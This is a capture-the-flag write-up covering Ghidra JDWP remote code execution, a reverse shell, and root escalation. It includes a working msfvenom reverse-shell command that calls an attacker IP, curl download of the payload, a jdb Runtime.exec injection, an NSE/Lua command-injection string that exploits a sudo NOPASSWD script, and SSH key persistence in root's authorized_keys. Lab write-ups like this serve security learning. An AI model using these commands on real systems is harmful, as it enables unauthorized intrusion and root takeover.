Leet Computer
Pentesting, Ghidra JDWP RCE, Sudo Misconfiguration, NSE Scripting
Last updated
Pentesting, Ghidra JDWP RCE, Sudo Misconfiguration, NSE Scripting
Last updated
One of the attacker is still in the airport hall, and it seems that he is still connected to the airport wifi ! Get a root shell on its machine to continue your investigation.
This challenge will give you access to another network.
by Masterfox
Using nmap, we find that 10.35.2.135 is running JDWP on port 18001.
JDWP allows us to debug java applications remotely. To attach to the remote debugger: jdb -attach 10.35.2.135:18001
We see that Ghidra is being debugged. When Ghidra is launched in debug mode, a well-known vulnerability allows remote attackers to achieve RCE through the JDWP, which is opened on all interfaces.
We see that the class org.apache.logging.log4j.core.util.WatchManager$WatchRunnable is used.
We will set a breakpoint at this class: stop in org.apache.logging.log4j.core.util.WatchManager$WatchRunnable.run()
The breakpoint will soon be hit. We can then use print new java.lang.Runtime().exec("COMMAND") to execute arbitrary commands.
Now, we can make a reverse shell ELF payload with msfvenom.
msfvenom -p linux/x86/shell_reverse_tcp LHOST=172.16.24.163 LPORT=4242 -f elf >reverse.elf
Run a Python HTTP server, and use curl on the victim machine to download the ELF payload.
Then, execute the payload.
Catch the reverse shell on our Kali machine.
Upgrade to a fully-interactive TTY: python3 -c 'import pty;pty.spawn("/bin/bash")'
We can find some interesting files on e11i0t's home directory.
This gives us the address range for the dev network.
There is also a Python script mail-scan.py that does a nmap scan. We can see in the below code snippet that a temporary .nse file is created and run. We can control the --mail parameter, which is reflected into the TEMPLATE_NSE.
Here is the location where the mail parameter is injected:
From the LinPEAS output, we also found that the mail-scan.py script can be executed as sudo with NOPASSWD.
From GTFOBins, I found that we can use os.execute("/bin/sh") to spawn a root shell since we are running as root. All that's left is to deal with the quotes on both sides of local to = "{mail_address}".
If we use "; os.execute("/bin/sh"); local var=" as the mail paramter, we inject the following into the nmap script:
Hence, we get a shell as root! Note that the action function only runs if any ports in {25, 465, 587} are discovered, however, so we would need to use nc -nlvp 465 to open up the port on our Kali machine in order to trigger the action function and our os.execute() command.
Subsequently, we can use ssh-keygen to generate new key pairs for SSH, and add the public key to /root/.ssh/authorized_keys for easier pivoting. Now we can directly SSH into the root shell.
GitHub issue:
PoC:
GTFOBins:
